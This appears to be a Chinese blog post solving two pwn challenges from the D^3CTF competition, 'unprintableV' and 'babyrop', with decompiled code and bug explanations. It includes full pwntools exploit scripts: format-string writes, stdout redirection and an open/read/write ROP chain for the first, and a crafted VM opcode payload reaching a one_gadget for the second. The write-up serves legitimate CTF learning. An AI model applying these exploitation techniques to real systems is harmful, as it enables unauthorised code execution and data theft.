D^3ctf两道 pwn

这次 的D^3ctf 又是给吊打 难顶。。。

所以题都是赛后解出来的,在这感谢Peanuts师傅

unprintableV

看看保护:

 

 看看伪代码,其实代码很少

void __cdecl menu()
{
  char *a; // [rsp+8h] [rbp-8h]

  a = buf;
  puts("welcome to d^3CTF!");
  printf("here is my gift: %p\n", &a);
  puts("may you enjoy my printf test!");
  close(1);
  while ( strncmp(buf, "d^3CTF", 6uLL) && time )
    vuln();
}

漏洞主要在vuln

void __cdecl vuln()
{
  read(0, buf, 0x12CuLL);
  printf(buf, buf);
  --time;
}

这里开了 沙箱

 禁用了 execve

所以不能调用system getshell

所以应该用 open read  write结合读flag

但是  这里 有close(1)

就算利用 printf的格式化漏洞 读出内容了 ,还是显示不了,但是Peanuts师傅的指点,可以用 把 stdout 覆盖成 stderr  然后就可以输出了 然后就是常规的printf 格式化漏洞,最后 进行栈转移。

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch = "amd64"
def rsl(c1,c2):
    r.recvuntil(c1)
    r.sendline(c2)

def rs(c1,c2):
    r.recvuntil(c1)
    r.send(c2)
def eee_aa(payload):
    global count
    r.send(payload.ljust(300,'\x00'))
    sleep(0.1)
    count = count -1
def set_value(c1,index_,n):
    for i in range(n):
        payload ='%'+str(int(index_+i))+'d%6$hhn'
        eee_aa(payload)
        one_gadget1 = ((c1)>>(i*8))&0xff
        payload = "%"+str(one_gadget1)+"d%10$hhn"
        eee_aa(payload)

for i in range(1000):
    count = 0x64
    #r = process("./unprintableV")
    #r = remote(host,port)
    r=process("./unprintableV")
    r.recvuntil("here is my gift: 0x")
    leak = int(r.recv(12),16)
    print hex(leak)
    index = leak & 0xff
    payload ='%'+str(int(index))+'c%6$hhn'
    eee_aa(payload)
    payload = "%32c%10$hhn"
    eee_aa(payload)
    payload = "%5440c%9$hn"
    eee_aa(payload)
    payload = '%7$p'
    eee_aa(payload)
    try:
        ooo =r.recvuntil("0x",timeout = 0.5)
        if ooo=='':
            r.close()
            continue
    except Exception as e:
        r.close()
        continue
    base_addr=int(r.recv(12),16)-0xafb

    payload = "%15$p"
    print hex(base_addr)
    eee_aa(payload)
    r.recvuntil("0x")
    libc_addr =int(r.recv(12),16)-0x20830
    print hex(libc_addr)
    mprotect_addr = libc.symbols['mprotect']+libc_addr
    pop_rdi = libc_addr + 0x21102
    pop_rsi = libc_addr + 0x202e8
    pop_rdx = libc_addr + 0x1b92 
    pop_rcx = libc_addr + 0xea69a 
    pop_rax = libc_addr + 0x33544
    syscall = libc_addr + 0xbc375
    rop  =p64(0)
    rop += p64(pop_rdi)
    rop +=p64(base_addr+0x202070)
    rop +=p64(pop_rsi)
    rop +=p64(0)
    rop +=p64(pop_rdx)
    rop +=p64(0)
    rop +=p64(pop_rax)
    rop +=p64(2)
    rop +=p64(syscall)
    #open
    rop +=p64(pop_rdi)
    rop +=p64(1)
    rop +=p64(pop_rsi)
    rop +=p64(base_addr+0x202300)
    rop +=p64(pop_rdx)
    rop +=p64(100)
    rop +=p64(pop_rax)
    rop +=p64(0)
    rop +=p64(syscall)
    #read
    rop +=p64(pop_rdi)
    rop +=p64(2)
    rop +=p64(pop_rsi)
    rop +=p64(base_addr+0x202300)
    rop +=p64(pop_rdx)
    rop +=p64(100)
    rop +=p64(pop_rax)
    rop +=p64(1)
    rop +=p64(syscall)
    set_value(base_addr+0x850,index+0x10,2)
    set_value(base_addr+0x202080,index+0x18,6)
    set_value(base_addr+0x9f8,index+0x20,6)
    #raw_input()
    #set_value(pop_rdi,index+0x10)
    #set_value(leak,index+0x18)
    #set_value(pop_rsi,index+0x20)
    #set_value(0x1000,index+0x28)
    #set_value(pop_rdx,index+0x30)
    #payload ='%'+str(int(index+0x38))+'d%6$hhn'
    #eee_aa(payload)
    #one_gadget1 = 7
    #print hex(one_gadget1)
    #payload = "%"+str(one_gadget1)+"d%10$hhn"
    #eee_aa(payload)
    #set_value(leak,0x40)
    print len(rop)
    sleep(1)
    payload="d^3CTF"
    payload=payload.ljust(0x10,'\x00')
    payload+="flag"
    payload=payload.ljust(0x20,'\x00')
# open('./flag').read(fd,leak+300),write(1,leak+300,0x20)
    payload=payload+rop
    eee_aa(payload)
    #raw_input()
    r.interactive()
    break

babyrop

这道的 保护倒是全开了

 然后看看代码 

里面定义了一个结构;

  a3->_esp = &v8;
  a3->stack_size = 10;
  a3->_ebp = a3->_esp + 0x50;

然后 下面 有一些操作,然后可以看出 这个结构维持了 一个栈堆的结构。

while ( *(*index + code) )
  {
    v4 = *(*index + code);
    switch ( off_14B4 )
    {
      case 0u:
        *index = 0LL;
        return 1LL;
      case 8u:
        push_int(stack, *(++*index + code));
        *index += 4LL;
        break;
      case 0x12u:
        put_char(stack, *(++*index + code));
        ++*index;
        break;
      case 0x15u:
        push_int64(stack, *(++*index + code));
        *index += 8LL;
        break;
      case 0x21u:
        add_0(stack);
        ++*index;
        break;
      case 0x26u:
        add_index(stack, *(++*index + code));
        ++*index;
        break;
      case 0x28u:
        ++*index;
        if ( !stack_sub_0x80(stack, v6) )
          exit(0);
        return result;
      case 0x30u:
        index_sub(stack, *(++*index + code));
        ++*index;
        break;
      case 0x34u:
        ++*index;
        sub_E17(stack);
        break;
      case 0x38u:
        ++*index;
        set_zero_for(stack);
        break;
      case 0x42u:
        sub_EDF(stack);
        ++*index;
        break;
      case 0x51u:
        add(stack);
        ++*index;
        break;
      case 0x52u:
        sub(stack);
        ++*index;
        break;
      case 0x56u:
        mov_index(stack, *(++*index + code));
        *index += 4LL;
        break;
      default:
        exit(0);
        return result;
    }
  }

while 里面的指令都是对 这个结构进行读取,pop push  加减 都有

这个漏洞的主要是

signed __int64 __fastcall sub_C26(struc_1 *a1, _QWORD *a2)
{
  if ( !a1->stack_size && *a2 > 1LL )#size是负数的时候 也是不满足的,导致了 栈越界访问,然后可以修改当前栈保存的 返回地址
    return 0LL;
  a1->_esp += 0x50LL;
  a1->stack_size -= 10;
  ++*a2;
  return 1LL;
}

我们可以多次 调用这个 函数 。

另外,我们第一输入的256个字符是操作指令,有些指令带参数,有些不带参数。

但很关键的一点是 

signed __int64 __fastcall int_mov(struc_1 *a1, int a2)
{
  if ( a1->stack_size > 9u )
    exit(0);
  a1->_esp -= 8LL;
  *a1->_esp = a2;
  ++a1->stack_size;
  return 1LL;
}

我们 多次调用 sub_C26之后 会导致   a1->stack_size > 9u  不满足。

但是 有这个函数 

signed __int64 __fastcall mov_index(struc_1 *a1, int a2)
{
  *a1->_esp = a2;
  return 1LL;
}

虽然 写 4个字节,但是也足够了  因为我们 可以找一个esp指向 0的值,然后赋值,然后再一直调用

signed __int64 __fastcall sub_E17(struc_1 *a1)
{
  struc_1 *v1; // ST08_8

  v1 = a1;
  ++a1->stack_size;
  v1->_esp -= 8LL;
  *v1->_esp = *(v1->_esp + 8);
  *(a1->_esp + 8) = 0LL;
  return 1LL;
}

然后 加上栈上残留的___libc_start_main的地址 就可以获得一个 指向 onegadget的地址,然后就是一样的操作 继续往前面覆盖 最后覆盖掉 返回地址

但是 onegadget 也有条件  就是rsp+0x30为null 那么我们可以调用几次 sub_C26,然后写null

下面是exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'

r = process("./babyrop")
#r = remote(host,port)
def rsl(c1,c2):
    r.recvuntil(c1)
    r.sendline(c2)

def rs(c1,c2):
    r.recvuntil(c1)
    r.send(c2)

sleep(0.5)
payload = '\x28\x12\x12'+'\x28'*2+'\x34'+'\x28'+'\x34'*2+'\x28'+'\x34'*28+'\x56'+p32(0x24a3a)+'\x21'+'\x34'*5+'\x28'
payload = payload.ljust(256,'\x00')
r.send(payload)
r.interactive()

我这次是本地进行调试的 所以libc 可能和比赛有所不一样。。

猜你喜欢

转载自www.cnblogs.com/liyuechan/p/11945652.html
pwn